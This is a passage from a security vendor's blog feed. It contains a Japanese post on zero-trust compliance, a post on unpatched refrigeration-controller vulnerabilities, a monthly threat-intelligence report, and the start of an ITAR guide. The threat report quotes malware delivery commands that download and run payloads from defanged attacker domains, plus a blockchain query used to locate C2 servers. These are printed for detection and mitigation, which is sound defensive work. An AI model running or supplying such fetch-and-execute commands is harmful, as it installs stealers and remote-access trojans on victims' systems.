            <title><![CDATA[ゼロトラストか、破綻か：AIを活用したマルチクラウド環境におけるコンプライアンスの順守]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zero-trust-or-bust-winning-compliance-ai-driven-multicloud-world</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zero-trust-or-bust-winning-compliance-ai-driven-multicloud-world</guid>
            <pubDate>Tue, 25 Aug 2026 21:45:52 GMT</pubDate>
            <description><![CDATA[コンプライアンスの問題は新しいものではないが、コンプライアンスが求められる環境は変化している。少し前まで、規制要件のコンプライアンスを順守することは、主に文書作成の作業でした。HIPAA、PCI-DSS、SOC 2、GDPRなどのフレームワークに自社の制御を対応付け、年1回の監査を実施し、その結果を提出するというものでした。華やかな仕事ではありませんでしたが、対応可能なものでした。そのモデルは、もはや機能しません。その原因となっているのが、あらゆる組織が導入しているAIとマルチクラウドという2つのテクノロジーです。&nbsp; 望んでいたわけではないコンプライアンスの問題現在、平均的な組織では、2.1社のパブリック クラウド プロバイダーにまたがってワークロードを運用し、85種類のSaaSアプリケーションを管理しています(Thales 2025 Data Threat Report)。その環境のひとつひとつにデータが保存されています。それぞれが独自のアクセス制御、ログ形式、セキュリティ設定を備えています。そして、こうした環境同士が一貫した形で連携できなくなっているケースが、ますます増えています。その結果、クラウドに保存されているデータ全体の54%もが現在、機密データに分類されています。しかし、そのうち80%以上を暗号化している組織はわずか8%にとどまります(Thales 2025 Data Threat Report)。これはギャップではなく、大きな隔たりです。AIによって、状況はさらに悪化しています。2025年の調査では、66%の組織が、アクセスを認可されていない機密データにAIツールがアクセスしていることを発見しました。そのやり取りをリアル タイムでモニタリングできていた組織は、わずか9%でした(Cyera + Cybersecurity Insiders 2025 State of AI Data Security Report)。従業員は、機密性の高い顧客情報、財務データ、規制対象の記録を承認されていないAIツールと共有しています。その結果、セキュリティ部門が「シャドー データ」と呼ぶ、規制当局にとっては責任問題となるデータが生み出されています。その影響は深刻です。2025年、米国におけるデータ侵害の平均コストは過去最高の1,022万ドルに達しました。また、コンプライアンス違反を伴う侵害の世界平均コストは461万ドルで、世界平均を4%上回っています(IBM Cost of a Data Breach 2025)。さらに、50%の組織が直近のコンプライアンス監査に合格できず、手作業に依存している組織は、監査に不合格となる可能性が2倍に上りました(Hyperproof 2026 IT Risk &amp; Compliance Benchmark Report)。金融サービス、医療、重要インフラのコンプライアンス責任者やリスク担当役員にとって、これは抽象的な問題ではありません。四半期ごとの取締役会で議論される問題です。&nbsp; 従来のアプローチでは対応できない理由ほとんどのベンダーが公には語らない不都合な現実をお伝えしましょう。多くの組織がコンプライアンス対応に利用しているツールは、異なる時代のために構築されたものです。データが既知の場所に存在し、予測可能な形で移動し、特定の時点で実施する監査によって管理できることを前提としています。その前提は、もはやどれも成り立ちません。クラウド ワークロードが患者データを生成して移動させ、オブジェクト ストレージにエクスポートし、SaaSエンドポイントと同期した後、生成AIによる要約ツールに送るまですべて数分以内に完了する場合、従来のオンプレミスDLPは、その経路を一度も検査できません。また、非本番ワークロードがオープンなバケットや過剰に寛容なIAM設定で立ち上がった場合、設定ドリフトが何週間も検知されない可能性があります。その頃には、データもコンプライアンス違反も、すでに外部に流出しています。ツールが断片化されれば、可視性も断片化されます。そして、断片化された可視性こそ、コンプライアンスの敵です。&nbsp; コンプライアンスの実際の要件法的な専門用語を除けば、ほとんどのコンプライアンス フレームワークが求めているのは、同じ基本的な機能です。誰が何にアクセスしているかを把握する(アイデンティティーベースのアクセス制御、最小特権)すべてを検査および記録する(継続的なモニタリング、監査証跡)機密性の高い環境をセグメント化する(データのラテラル ムーブメントの防止)ポリシーを一貫して施行する(どこでも毎回同じルール)監査人に対してすべてを証明する(一元化されたレポートと証拠)問題は何でしょうか。従来のネットワーク セキュリティを使って、ハイブリッド、マルチクラウド、AI対応の組織全体にこうした機能を提供するのは、見えない道路で速度制限を取り締まろうとするようなものです。これはテクノロジーの問題ではなく、データ セキュリティ アーキテクチャーの問題です。&nbsp; ゼロトラスト アーキテクチャーで変わる状況ここで、正しく実装されたゼロトラストが、コンプライアンスに関する議論を根本的に変えます。「監査が怖い」状態から「いつでも監査に対応できる」状態へと変えるのです。その結果は明らかです。ゼロトラスト アーキテクチャーを導入していない組織と比べ、導入している組織では、1件の侵害あたり平均176万ドルのコストを削減しています。3Zscalerはゼロトラスト セキュリティの先駆者として、ユーザーとワークロード全体にゼロトラストの原則をゼロから適用してネットワーク セキュリティを再構築することで、コンプライアンスを簡素化します。ゼロトラストは、決して信頼せず、常に検証するというシンプルでありながら強力な原則に基づいています。(マルチクラウド環境には存在しない)ネットワーク境界に依存するのではなく、Zscalerはユーザー、ワークロード、アプリケーションがどこに存在するかを問わず、アイデンティティー、コンテキスト、ポリシーに基づいて安全な接続を仲介します。Zscaler Zero Trust Cloudは、パブリック クラウドとプライベート クラウドのワークロードに安全な接続を提供する統合されたゼロトラスト プラットフォームです。攻撃対象領域を根本的に縮小し、ラテラル ムーブメントを防止します。ネットワークを公開するのではなくアプリを不可視化し、アイデンティティーとアプリケーションを直接接続します。すべての接続において、アイデンティティーとコンテキストに基づく最小特権アクセスを適用します。トラフィックはクラウドならではの規模で双方向に検査され、プライバシー制御によって管理されたTLS復号と、データ損失やデータ持ち出しを検知および防止するインラインDLPを実施します。アプリ間とアプリ内のマイクロセグメンテーションによってラテラル ムーブメントを阻止し、監査対象の範囲を大幅に縮小します。そして、これらすべてが1か所に自動的に記録されます。改ざんできず一貫性があり、監査人への対応が可能です。&nbsp;&nbsp;コンプライアンスの観点から見ると、これは以下のような意味を持ちます。すべてのクラウドで統一されたポリシー。1つのセキュリティ ポリシー エンジンによって、AWS、Azure、GCPにまでゼロトラストの原則を適用します。環境ごとに断片化されたルールを管理するのではなく、コンプライアンス部門は一貫した施行と一貫した証拠を得られます。継続的なログ管理と監査証跡。すべての接続、すべてのデータ フロー、すべてのアクセス判断を記録します。監査人からアクセス制御やセグメンテーションの証拠を求められても、すでに一元管理され、検索可能な状態で用意されています。デフォルトで最小特権アクセス。ユーザーとワークロードは、明示的にアクセスを認可された対象にのみ接続します。ラテラル ムーブメントは発生しません。広範なネットワーク アクセスもありません。これは、HIPAA、PCI DSS、NISTのフレームワークが求めるものに直接対応します。インライン データ保護。AIアプリケーションとの間で送受信されるトラフィックを含め、転送中の機密データを分類して保護します。クラウドならではの規模でTLS/SSLインスペクションを実施します。これにより、GDPRが定めるデータ保護設計の原則や、新たに求められているAIガバナンス要件に対応します。攻撃対象領域の削減。リソースをインターネットに公開することがないため、監査対象も、保護すべき対象も、問題が発生する可能性も少なくなります。その結果、コンプライアンスのあり方は、事後対応型のコンプライアンス、つまり、ある時点でコンプライアンスを順守していたことを証明するために慌てて対応する状態から、担当部門、監査人、取締役会がリアル タイムで確認できる、継続的かつ証明可能なコンプライアンスへと変わります。このことは調査結果からも裏付けられています。コンプライアンスとセキュリティの分析を1つのプラットフォームに統合した組織では、規制違反が30%少なくなっています。&nbsp; 実践での証明ブラジル最大手のデジタル バンクの1社では、AWS、Azure、Google Cloudにまたがって顧客データや金融データを33ペタバイト以上処理しています。厳しい規制当局の監視に直面するなかで拡張できないサイロ化されたDLPツールが複雑に混在していたため、同社はZscalerのゼロトラスト プラットフォームを導入し、クラウド ワークロードからAIモデルまで、あらゆる環境でデータ セキュリティを統合しました。その結果、年間425万ドルのリスク エクスポージャー削減を実現し、修復にかかる時間を数日から数分に短縮するとともに、マルチクラウド環境全体で地域の金融規制要件を満たすために必要な可視性と制御を確保しました。世界有数の金融投資会社は、Zscalerによって、複雑で手作業の多い監査対応の負担となっていたコンプライアンスを、継続的かつ自動化された保護状態を検証できる環境へと変革しました。同社は、AzureとAWSのワークロード全体で従来のIPベースのルールに代えてワークロードのアイデンティティーを利用する、Zscalerのアイデンティティーベースのマイクロセグメンテーションを活用することで、PCI DSS 4.0が定める厳格なネットワーク セキュリティ制御に直接対応することができました。さらに、Zscalerの統合型エグレス モデルは、進化するSWIFTカスタマー セキュリティ プログラム(CSP)の要件に対応できるよう特別に設計されました。ハブ＆スポーク型アーキテクチャーにZscaler Cloud Connectorを導入してバック オフィスとトランザクション データのフローを保護することで、顧客環境とSWIFTインフラ間のデータ フローにきめ細かなポリシーを施行し、SWIFTの原則1を満たす「セキュア ゾーン」を構築しました。&nbsp; コンプライアンスはデータ セキュリティの問題ここ数年で明らかになったことが1つあるとすれば、それはコンプライアンスとデータ セキュリティがもはや別々の領域ではないということです。機密データがどこに存在するのかを把握し、どのように移動するのかを制御し、その両方を要求水準がますます高まっている規制当局に証明できなければ、コンプライアンスを確保することはできません。AIとマルチクラウドがなくなることはありません。これらを管理する規制フレームワークであるEU AI法、DORA、改正されたHIPAA規則、PCI-DSS 4.0は、今後さらに厳格化していくでしょう。この状況に適切に対応できる組織は、最も多くのコンプライアンス ツールを導入している組織ではなく、その基盤となるアーキテクチャーを適切に構築している組織です。&nbsp; 監査が不安な状態から監査に対応できる体制に変える準備ソリューションの概要をご覧いただき、Zero Trust Cloudによって継続的なコンプライアンスを確保する詳細をご確認ください。Zscalerコンプライアンス センターをご確認いただき、Zero Trust Cloudがご利用の規制フレームワークにどのように対応しているかをご覧ください。または、お客様向けのコンプライアンス レポートをご依頼ください。Zscalerのコンプライアンス専門家との面談を予約お客様固有の要件についてご相談ください。HIPAA、PCI-DSS、DORAのいずれか、またはこれらすべてに関する要件に対応します。&nbsp;]]></description>
            <dc:creator>Nikitha Omkar (Senior Product Marketing Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Fix Has Been Out for a Year. The Controller Is Still Exposed.]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/fix-has-been-out-year-controller-still-exposed</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/fix-has-been-out-year-controller-still-exposed</guid>
            <pubDate>Thu, 20 Aug 2026 17:49:11 GMT</pubDate>
            <description><![CDATA[Quick answer: A gap exists between when OT vendors fix vulnerabilities and when operators can actually patch. In food, pharma, and cold-chain sites the update waits for a rare maintenance window because a bad one costs product, not just uptime - a discarded batch, a broken cold chain, a quality deviation that has to be investigated. Two of the most common refrigeration controllers, the Copeland XWEB Pro and Danfoss AK-SM 800A, have serious documented flaws; both vendors shipped firmware fixes months ago, yet thousands of management interfaces remain reachable from the public internet. The practical fix for the gap is reachability: restricting which systems and people can reach the controller lets operators take the update on their own schedule without leaving it exposed in the meantime. Two of the most common supervisory controllers in commercial refrigeration have serious, publicly documented vulnerabilities. Both were fixed by their vendors months ago - Danfoss shipped a fix for the AK-SM 800A in 2025 (CISA advisory), Copeland for the XWEB Pro in February (CISA advisory). A Shodan query on August 19, 2026 returns 3,726 of the Danfoss management interfaces reachable from the public internet - Team82 counted roughly 2,800 via Censys during its research. Different engines, so not a trend line, but the order of magnitude has not moved.If you run a cold-storage warehouse, a food plant, a pharmaceutical distribution site, or a supermarket chain, one of these boxes is probably what tells your compressors and evaporator fans what to do. This piece looks at the gap between "the fix is available" and "the fix is applied": why that gap is wider on the equipment that keeps product cold than almost anywhere else on a plant floor, and what an operator can do inside it.&nbsp;&nbsp; What the researchers showed, and why the vendor names matter less than they lookTeam82's XWEB Pro research, published August 9, is the bigger set: 23 vulnerabilities, 21 rated high. Two of them do the heavy lifting. The administrator password on affected firmware is derived from the date, the device's hardware address, and a fixed value in the firmware, so anyone who can reach the management page can work out today's password without guessing. And once in, an attacker has 19 separate ways to run their own commands as root. The&nbsp;Danfoss AK-SM 800A had fewer flaws - three, all in its web management interface - but one was a hidden "code-of-the-day" login that also bypasses authentication.The demonstration is the part worth remembering. The researchers connected an XWEB Pro to a field controller and a small test refrigerator, held the temperature reading on the display steady at the correct value, and quietly switched off the cooling fans. The fridge warmed. The screen said everything was fine. On a real unit, the temperature log that a food-safety auditor or a pharma quality team would pull to prove the product stayed in range lives on the same controller - in food or pharma, that gap is a discarded batch at best, and a product-integrity question that reaches the market at worst.Both vendors did what vendors should: took the report, shipped fixes, told customers. The more interesting problem sits with the operator, because the position the disclosure puts them in looks the same whatever logo is on the controller. Why the fix sits unappliedIn most manufacturing, a bad maintenance window costs throughput. You lose a shift, you catch up. In food and beverage, pharmaceuticals, and temperature-controlled consumer goods, a bad window can cost the product itself. A refrigeration excursion - the industry's word for temperature drifting outside its allowed band - is a discarded batch, a quality deviation that has to be investigated and written up under the manufacturing quality rules (GMP) that food and pharma operate under, or a food-safety record that follows the product through the supply chain. We wrote about this asymmetry last year in&nbsp;Why Uptime Is the New Cybersecurity KPI in Manufacturing; cold chain is where it bites hardest.To be fair to the equipment, a firmware update on a supervisory controller is not the same as flashing a PLC mid-shift. Copeland even lets you update from the controller's own menu, provided the controller can reach Copeland's servers outbound - which is a very different thing from being reachable inbound by anyone. But the risk that schedules a maintenance window is the perceived risk, and no one likes to hear "usually straightforward" about the box holding a vaccine warehouse between 2 and 8 degrees Celsius. So the advisory gets read, the update gets queued for the next planned outage, and the next planned outage is months away.There is a quieter reason too, and anyone who has tried to find the owner of a refrigeration controller will recognize it. These units often belong to facilities, or to the refrigeration contractor under a service agreement - not to IT, and not to whoever owns OT security. The vendor's advisory email lands in an inbox that does not read CISA advisories, if it lands anywhere. Nobody in this chain is refusing to patch; the request just never reaches someone who could schedule it.And in the meantime the controller cannot simply be unplugged, because the same interface the attacker wants is the one the business depends on. The refrigeration OEM's technicians connect to diagnose and tune it. The operator's own maintenance team watches it from wherever they happen to be sitting. The researchers' guidance - keep the management interface off the internet, restrict it to trusted networks or a VPN - is sound, and it is where most standard advice stops. It also leaves the controller reachable by every device on the plant network and every account on the vendor's VPN. Is "patch now or stay exposed" really the choice?That is the choice operators are usually handed: a risky window now, or a known exposure until the next outage. Both options treat the vulnerability as the risk. The real risk is what can reach it.A serious flaw on a controller that nothing unnecessary can reach is a backlog item. The same flaw on a controller reachable from any laptop on the plant network, any compromised office workstation, or any account on the vendor's VPN is a different situation entirely, and the difference has nothing to do with the CVE list. Every step in the published attack chains, on both platforms, starts with network access to the management interface. Remove that access and the 23 CVEs are still there, but the path to them is not.That is the third option, and it is the one that rarely gets priced: shrink who and what can reach the controller until you can take the update on your schedule instead of the attacker's. It does not replace the firmware. It makes the firmware a planned event rather than an emergency, and it limits the damage when the next disclosure lands the week after your outage window closes. What "shrink reachability" looks like on a real plant floorThree attributes describe the target state:The controller can be reached only from specific, explicitly authorized endpoints and users - the monitoring server, the two engineers who own it, the OEM's support group - not from an entire network segment.When a third-party technician needs access, they get a session to that one device for the duration of the job, with no standing presence on the plant network before or after.None of it requires re-addressing the controller, installing anything on it, or rebooting it. If the security control means touching the device, you are back to the maintenance-window problem you were trying to avoid.That last attribute pays off twice - once for the operator, once for the vendor. For a pharma site, the device itself is not modified, so its qualified state is not disturbed; the network change still goes through change control, but that is a lighter lift than requalifying a controller after new firmware. And for the refrigeration OEM, brokered access is easier than a VPN, not harder - no client to install, no shared credentials to rotate, no waiting on the customer's IT to open a port. Vendors are how these controllers get installed and kept running. This should make their technicians' lives simpler, not treat them as the threat.That third property is also the one that has historically made&nbsp;segmentation&nbsp;policy fail in practice. Eaton's security team described exactly this in&nbsp;their write-up from earlier this month: written segmentation policy across more than two hundred manufacturing sites that could not be enforced, because enforcing it with VLANs and NAC meant touching legacy devices they could not afford to touch. Eaton is electrical manufacturing, not cold chain, so the transferable part is the constraint rather than the vertical - agentless legacy equipment that cannot be re-addressed or restarted is the norm on any plant floor, and enforcement has to work around it.&nbsp;&nbsp; Where Zscaler fitsThree capabilities map to this - two that close the paths above, and a third for the gap that closing paths cannot address.Zero Trust Device Segmentation isolates a controller like an XWEB Pro or AK-SM 800A from the rest of the plant network without agents, without re-addressing, and without changing the physical network - each device gets its own enforcement boundary, reachable only by the endpoints you authorize and the users you admit through policy. Lateral movement from a compromised laptop or workstation toward the controller stops at that boundary.Zero Trust for 3rd Party Access gives the OEM's technician a brokered, recorded session to that one controller for that one job, with no VPN and no network presence. When the session ends, so does the access. It also removes the most common reason these interfaces end up on the public internet in the first place - if the vendor's path is brokered, there is nothing to expose.Closed paths do not vet the traveler - a compromised monitoring host or a misused authorized account arrives with legitimate access.That is where&nbsp;Zscaler Deception fits: a decoy that looks like one more controller on the same plant network, which no legitimate system has any reason to touch, so the first wrong move is the alert. Two things make that more than a tripwire. Because nothing legitimate ever talks to the decoy, a hit arrives already interpreted - an authorized source doing something it should not - rather than one more line for an analyst to triage. And because the real controller already sits behind a policy-enforced boundary, the response can be as narrow as the alert - drop the monitoring host's path to the controller, end the account's session - without touching the controller itself. The decoy asks nothing of the real device - no agent, no load, no change - which is the same property that made the boundary workable in the first place. It is still detection: someone, or a policy, has to act on it.None of this replaces the firmware update, and no one should read it that way. Copeland's 1.13 and Danfoss's R4.3.1 still need to be applied. And none of it helps a controller nobody has pulled behind the boundary yet - the thousands of exposed interfaces are exposed because that step has not been taken, not because it is unavailable. What changes is when you have to apply the update and what happens to you in the meantime - a Tuesday you chose rather than a Saturday someone else did.With the boundary in place, the next advisory lands differently. You check what can reach the controller - one monitoring host, two engineers, a brokered vendor path - schedule the firmware for the next planned window, and go back to work. The picture to keep from the demonstration is a display that says everything is fine while the fans are off. The controllers that keep product in spec are the ones with the least tolerance for a bad patch day, and that is why they need the fewest things able to reach them.If you want to work through what this looks like for your own sites, our&nbsp;OT architecture workshop maps the controllers, the vendors who reach them, and the enforcement points you already have. Or, hear from our customers directly on how they use Zscaler for OT security.&nbsp;&nbsp;]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Intelligence Insights: August 2026]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/intelligence-insights-august-2026</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/intelligence-insights-august-2026</guid>
            <pubDate>Thu, 20 Aug 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[Debuts, departures, and danger on the blockchain in this month’s edition of Intelligence InsightsThis article was originally published by Red Canary, which is now part of Zscaler. Highlights from JulyFor the fourth month in a row, ClearFake comes in number 1 on our top 10 most prevalent threat list. ClearFake is an activity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste (aka paste and run, ClickFix, fakeCAPTCHA).July 2026 saw a shakeup of our top 10 list, with familiar returns, notable departures, and four debuts:Returning in a tie for 4th is JustAskJacky, a family of malicious NodeJS applications that masquerade as a helpful AI or utility tool while conducting reconnaissance and executing arbitrary commands in memory. In July 2026 we most frequently observed it masquerading as PDF readers. This is the first time JustAskJacky has made the top 10 since March 2026.Tied for 6th is Amber Albatross. It’s a cluster of activity, delivered via installers masquerading as legitimate free software, that progresses through several stages to a PyInstaller EXE with stealer capabilities. This is the first time Amber Albatross has made the top 10 since March 2026.Atomic Stealer, an information stealer designed to target data within web browsers and locally stored files on macOS systems, left the list for the first time since August 2025.NetSupport Manager, a legitimate remote access tool (RAT) that can be used as a trojan by adversaries to remotely control victim endpoints for unauthorized access, fell out of the top 10 for the first time since September 2024.We had four new threats debut on our top 10 list this month: GraphSpy, Phexia, CastleRAT, and EtherRAT. You can read more about these threats, and some of the techniques they share, below. This month’s top 10 threatsTo track pervasiveness over time, we identify the number of unique customer environments in which we observed a given threat and compare it to what we’ve seen in previous months.Here’s how the numbers shook out for July 2026:Month's rankThreat nameThreat description⮕ 1ClearFakeActivity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste⬆ 2ScreenConnectTraffic distribution system (TDS) first observed in 2024 that uses compromised WordPress sites to deploy malicious code that may lead to malware⮕ 3Scarlet GoldfinchRed Canary's name for an activity cluster that uses compromised web sites to trick users into executing malicious code⬆ 4*GraphSpyOpen source initial access and post-exploitation tool that adversaries use to phish, steal, and abuse Entra ID and Microsoft 365 authentication tokens through a browser-based interface⬆ 4*JustAskJackyFamily of malicious NodeJS applications that masquerade as a helpful AI or utility tool while conducting reconnaissance and executing arbitrary commands in memory in the background⬆ 6*Amber AlbatrossCluster of activity, delivered via installers masquerading as legitimate free software, that progresses through several stages to a PyInstaller EXE with stealer capabilities⬇ 6*KongTukeTraffic distribution system (TDS) first observed in 2024 that uses compromised WordPress sites to deploy malicious code that may lead to malware⬆ 6*MacSync StealermacOS threat designed with the goal of accessing sensitive information including credentials, payment card data, keychain details, and cryptocurrency wallets⬆ 6*PhexiaCombination remote access tool and stealer targeting macOS systems⬆ 10*CastleRATRemote access trojan with several capabilities including keylogging, screen capturing, and remote shell access⬆ 10*EtherRATNode.js-based RAT with blockchain-based C2 resolution that delivers multiple payload modules including credential theft, lateral movement, and web server hijacking⬆ 10*GamarueMalware family used as part of a botnet; some variants are worms and frequently spread via infected USB drives⬆ = trending up from previous month⬇= trending down from previous month➡ = no change in rank from previous month*Denotes a tie Four fresh faces: GraphSpy, Phexia, EtherRAT, CastleRAT debutGraphSpy debuts in a tie for 4thGraphSpy is an open source initial access and post-exploitation tool that adversaries use to phish, steal, and abuse Entra ID and Microsoft 365 authentication tokens through a browser-based interface. This is the third device code phishing tool to make the top 10 in 2026, following the similarly-named (but unrelated) GraphRunner in May 2026, and Kali365 in June 2026. GraphSpy runs a local web server that presents a browser-based GUI, which enables less technical adversaries to engage in Entra ID attacks. It centralizes a wide range of abuse techniques including the aforementioned device code phishing, primary refresh token (PRT) theft and abuse, Windows Hello for Business (WHFB) key registration, MFA method manipulation, and exfiltration of SharePoint, OneDrive, Outlook, and Teams data.Mitigation recommendations for device code phishing activity include:Revoking the affected user’s refresh tokens and active sessions, reset the account credentials, and require re-authenticationRestricting or blocking the device code authentication flow through Conditional Access policies for users and locations that do not require itPhexia: Debuts in a tie for 6thPhexia, a remote access tool and stealer targeting macOS systems, is new to the top 10 but is not new to Red Canary–we first began tracking it in November 2025. It has a modular approach, where the stealer bot components are not always distributed at the same time, allowing the author to introduce additional commands or modules as desired. The stealer component of Phexia is very similar to MacSync Stealer, due to it being partially modeled after MacSync. We’ve observed it distributed using malicious copy and paste&nbsp; to lure users into manually executing the malware, with commands like curl -A "Mac OS X 10_15_7" -fsSL gl1nto.spiintforge[.]ru/04jhdkq5. If successful, curl&nbsp;reached out to the remote resource in the command line, followed by osascript&nbsp;execution that created a LaunchAgent plist file which was configured to run a bash command containing a base64-encoded payload. Phexia also uses LaunchAgent persistence to ensure execution after reboots. The LaunchAgent’s ProgramArguments&nbsp;run a base64-encoded AppleScript payload through osascript on every launch, and the LaunchAgent sets both KeepAlive&nbsp;and RunAtLoad&nbsp;to true.At the time of publication, Phexia is unique from other macOS stealers in its use of dead drop resolution with Telegram, Steam, and blockchain smart contracts to discover command and control (C2) domains for communication. The technique makes traditional C2 blocking challenging, since the URL can be updated dynamically by adversaries, allowing changes to propagate across installations and versions of the malware with little effort. We’ve seen Phexia query public Polygon (formerly known as MATIC) blockchain smart contracts to obtain C2 URLs. Phexia issued these requests across multiple redundant public Polygon RPC endpoints, decoded the contract’s ABI-encoded response to extract the URL, then POSTed a hardcoded transaction identifier to the resolved URL and piped the response directly into osascript for execution. In one example from July 2026, Phexia queried the smart contract at 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, with the command:&nbsp;curl -s --max-time 15 hxxps[://]polygon[.]drpc[.]org -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'.Mitigation recommendations for Phexia include:Blocking common blockchain trafficRemoving any content referenced by the LaunchAgent plist fileUnloading the plist plist from launchdRemoving the plist&nbsp;plist file from diskCastleRAT: Debuts in a tie for 10thCastleRAT is a remote access trojan with several capabilities including keylogging, screen capturing, and remote shell access. At the time of publication there are builds for both a compiled Python version and a C version of the malware. It leverages several currently popular techniques, including dead drop resolution via Pythonw, which beacons to adversary-controlled C2 domains or steamcommunity[.]com. It also leverages a Bring Your Own Runtime (BYOR) approach to its execution, bundling its own interpreter or runtime environment instead of relying on one already present on the system. CastleRAT has been delivered via other threats including CastleLoader, which debuted in our top 10 last month, and ClearFake. Detecting commonly used precursors to CastleRAT—for example, malicious copy and paste, and ClearFake—helps mitigate the threat of CastleRAT.EtherRAT: Debuts in a tie for 10thEtherRAT is a Node.js-based remote access trojan observed targeting Windows workstations via social engineering and Linux servers via exploitation of server-side vulnerabilities. First reported on Linux hosts in December 2025, EtherRAT uses a blockchain-based C2 dead drop resolution mechanism, an increasingly popular technique shared by other threats in this month’s top 10 list. The EtherRAT implant polls one or more public Ethereum RPC endpoints—entry points for querying the blockchain—to retrieve its current C2 URL, which is stored in a predefined smart contract address. EtherRAT’s capabilities include modules for credential theft, lateral movement, and web server hijacking. On Windows, adversaries have delivered EtherRAT by tricking victims into executing malicious copy and paste lures that silently installed a malicious Microsoft Installer (MSI) file, for example:cmd.exe /v:on /c "set r=%RANDOM%... &amp;&amp; curl -s -L -o C:\users\[redacted]\AppData\Local\!r!.msi reeemso[.]forwardbox[.]co[.]uk/132/ts.msi &amp;&amp; msiexec /i ... /qn".Once installed on a Windows host, EtherRAT executes while disguised as a configuration or data file using extensions like .ini, .tmp, or .dat. EtherRAT has also been reportedly distributed via RMM as a precursor to ransomware operations.Mitigation and detection strategies for EtherRAT include:Considering whether QuickAssist use is common in your organization, and scrutinizing its use accordinglyLooking for outbound comms to low prevalence domainsTLS inspection, where available, can surface malicious C2 communications&nbsp; New kids on the block(chain)Dead drop resolutionThe use of physical dead drops in spycraft—the practice of hiding information in a specific public location to reduce the contact between a protected information source and their handler—is also applicable in online espionage operations. Dead drop resolution is a technique used by adversaries to abuse trusted web services. They post malicious content to an ostensibly trusted web service–like Google Docs, GitHub repositories, or YouTube–that contains embedded, obfuscated, or encoded domains or IP addresses. Three of the threats in our top 10 this month use dead drop resolution as a technique:Phexia: Queries Polygon blockchain smart contractsCastleRAT: Calls out to adversary-controlled domains or steamcommunity[.]com&nbsp;EtherRAT: Polls public Ethereum RPC endpoints to read C2 URLs stored in smart contractsOnce malware using this technique is executed on an endpoint, it can query the site it’s been configured to reach out to, and use the returned information to locate its next stage or its C2 infrastructure. This isn’t a new technique; Operation Ghost Dukes, likely beginning in 2013, is frequently cited as one of the first reported uses of the technique in cyber espionage operations.Traffic to popular websites and social media platforms like Google or Twitter is common in most environments, which makes malicious traffic harder to distinguish from normal activity. By relying on widely used services and websites, adversaries can reduce the visibility of their C2 infrastructure and make it more resilient. Because they don’t need to hard-code all the infrastructure information, adversaries can update infrastructure locations dynamically without changing the binary itself. This can help shield C2 infrastructure from discovery during malware analysis, and give operators the flexibility to rotate infrastructure as needed.Mitigating dead drop resolver use:Leveraging network signatures via network detection and prevention systems can help identify malicious traffic for specific threats that use dead drop resolution as a technique.External network communication policies can be enforced via proxies that prevent the use of unauthorized external services.Blocking, restricting, or monitoring traffic to more commonly-abused services like Pastebin or Telegram, depending on your organization’s use of these servicesEtherHidingThree of the threats in our top 10 this month use EtherHiding:ClearFakePhexiaEtherRATFirst reported in 2023, EtherHiding uses blockchain infrastructure to store, retrieve, or update data used in malicious activity. Instead of relying only on hardcoded domains or conventional web infrastructure, threats leveraging EtherHiding query public Remote Procedure Call (RPC) services, smart contracts, or transaction data. This is a form of dead drop resolver, one that leverages public blockchain infrastructure instead of the trusted web services as mentioned above. The returned information may point to a payload location, redirector, decryption key, or C2 endpoints. Despite the name, EtherHiding involves not only the Ethereum blockchain, but also Polygon, and BNB Smart Chain. By using public blockchain infrastructure to resolve operational data at runtime, adversaries can rotate infrastructure more easily and make static analysis and indicator-based detection more difficult.EtherHiding begins with a threat delivered via a familiar vehicle; a compromised site, staged download, or trojanized package. After initial execution, the victim system performs a blockchain lookup, decodes or parses the returned value locally, and then contacts a next-stage payload host, redirector, or C2 endpoint.Mitigating EtherHiding:Restricting or blocking direct access to blockchain services, if your organization does not have a legitimate need to access them; the public blockchain RPC endpoints highlighted on chainlist.org are a good place to start, as adversaries are more likely to leverage widely-used URLs instead of standing up their own infrastructure.If your organization does rely on blockchain services, mitigation becomes more dependent on baseline and context. Defenders should understand which users, systems, applications, and providers legitimately perform HTTPS-based blockchain RPC queries and then look for deviations outside those workflows.&nbsp;]]></description>
            <dc:creator>ThreatLabz (Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Aligning ITAR Compliance to Zscaler’s Zero Trust Exchanges]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/aligning-itar-compliance-zscaler-s-zero-trust-exchanges</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/aligning-itar-compliance-zscaler-s-zero-trust-exchanges</guid>
            <pubDate>Wed, 19 Aug 2026 22:56:05 GMT</pubDate>
            <description><![CDATA[Navigating When to Purchase Commercial, FedRAMP Moderate, and FedRAMP High Platforms to Support ITAR ComplianceITAR violations carry criminal and civil penalties that can result in debarment from federal contracts. This guide maps ITAR compliance requirements to Zscaler's three platform tiers:&nbsp;1)&nbsp;Zscaler Commercial,&nbsp;&nbsp;2)&nbsp;Zscaler FedRAMP Moderate, and&nbsp;3)&nbsp;Zscaler FedRAMP High.Zscaler's FedRAMP Moderate and High platforms support a customer’s ITAR compliance program, with ITAR reports publicly available at zscaler.com/compliance/overview. Organizations handling ITAR-regulated data should understand which platform tier aligns to their specific compliance posture and that, overall, controls remain a customer responsibility regardless of platform selection. Understanding ITAR RequirementsThe International Traffic in Arms Regulations (ITAR), administered by the U.S. Department of State's Directorate of Defense Trade Controls (DDTC), governs the manufacture, export, and brokering of defense articles and related services listed on the United States Munitions List (USML). Before evaluating any cloud security platform, organizations must understand what ITAR demands at the operational level:DDTC Registration:&nbsp;&nbsp;Organizations that manufacture, export, or broker defense articles or defense services must register with the Directorate of Defense Trade Controls (22 